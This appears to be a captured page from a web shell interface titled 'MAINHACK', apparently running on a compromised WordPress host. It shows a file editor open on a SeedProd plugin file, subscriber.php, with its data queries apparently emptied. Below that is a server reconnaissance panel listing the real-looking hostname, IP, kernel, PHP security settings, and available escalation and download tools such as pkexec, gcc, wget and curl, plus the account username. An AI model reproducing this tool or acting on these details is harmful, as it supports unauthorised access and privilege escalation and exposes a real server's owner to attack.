[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: subscriber.php
<?php /** * Backend funtions for Subscribers functionality. */ /** * Get Datatable Info for the Subscribers page. * * @return JSON object. */ function seedprod_lite_subscribers_datatable() { if ( check_ajax_referer( 'seedprod_nonce' ) ) { if ( ! current_user_can( apply_filters( 'seedprod_subscriber_capability', 'list_users' ) ) ) { wp_send_json_error(); } $data = array( '' ); $current_page = 1; if ( ! empty( absint( $_GET['current_page'] ) ) ) { $current_page = absint( $_GET['current_page'] ); } $per_page = 100; $filter = null; if ( ! empty( $_GET['filter'] ) ) { $filter = sanitize_text_field( wp_unslash( $_GET['filter'] ) ); if ( 'all' === $filter ) { $filter = null; } } if ( ! empty( $_GET['s'] ) ) { $filter = null; } $results = array(); $data = array(); foreach ( $results as $v ) { // Format created timestamp to site timezone & format. $created_at = get_date_from_gmt( gmdate( 'Y-m-d H:i:s', $v->created_timestamp ), get_option( 'date_format' ) . ' ' . get_option( 'time_format' ) ); // Load Data $data[] = array( 'id' => $v->id, 'email' => $v->email, 'name' => $v->fname . ' ' . $v->lname, 'created_at' => $created_at, 'page_uuid' => $v->page_uuid, ); } $totalitems = 0; $views = array(); // Get recent subscriber data $chart_timeframe = 7; if ( ! empty( $_GET['interval'] ) ) { $chart_timeframe = absint( $_GET['interval'] ); } $recent_subscribers = array(); $now = new \DateTime( "$chart_timeframe days ago", new \DateTimeZone( 'America/New_York' ) ); $interval = new \DateInterval( 'P1D' ); // 1 Day interval $period = new \DatePeriod( $now, $interval, $chart_timeframe ); // 7 Days $recent_subscribers_data = array( array( __( 'Year', 'coming-soon' ), __( 'Subscribers', 'coming-soon' ) ), ); foreach ( $period as $day ) { $key = $day->format( 'Y-m-d' ); $display_key = $day->format( 'M j' ); $no_val = true; foreach ( $recent_subscribers as $v ) { if ( $key == $v->created ) { $recent_subscribers_data[] = array( $display_key, absint( $v->count ) ); $no_val = false; } } if ( $no_val ) { $recent_subscribers_data[] = array( $display_key, 0 ); } } $response = array( 'recent_subscribers' => $recent_subscribers_data, 'rows' => $data, 'lpage_name' => '', 'totalitems' => $totalitems, 'totalpages' => ceil( $totalitems / $per_page ), 'currentpage' => $current_page, 'views' => $views, ); wp_send_json( $response ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.66 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002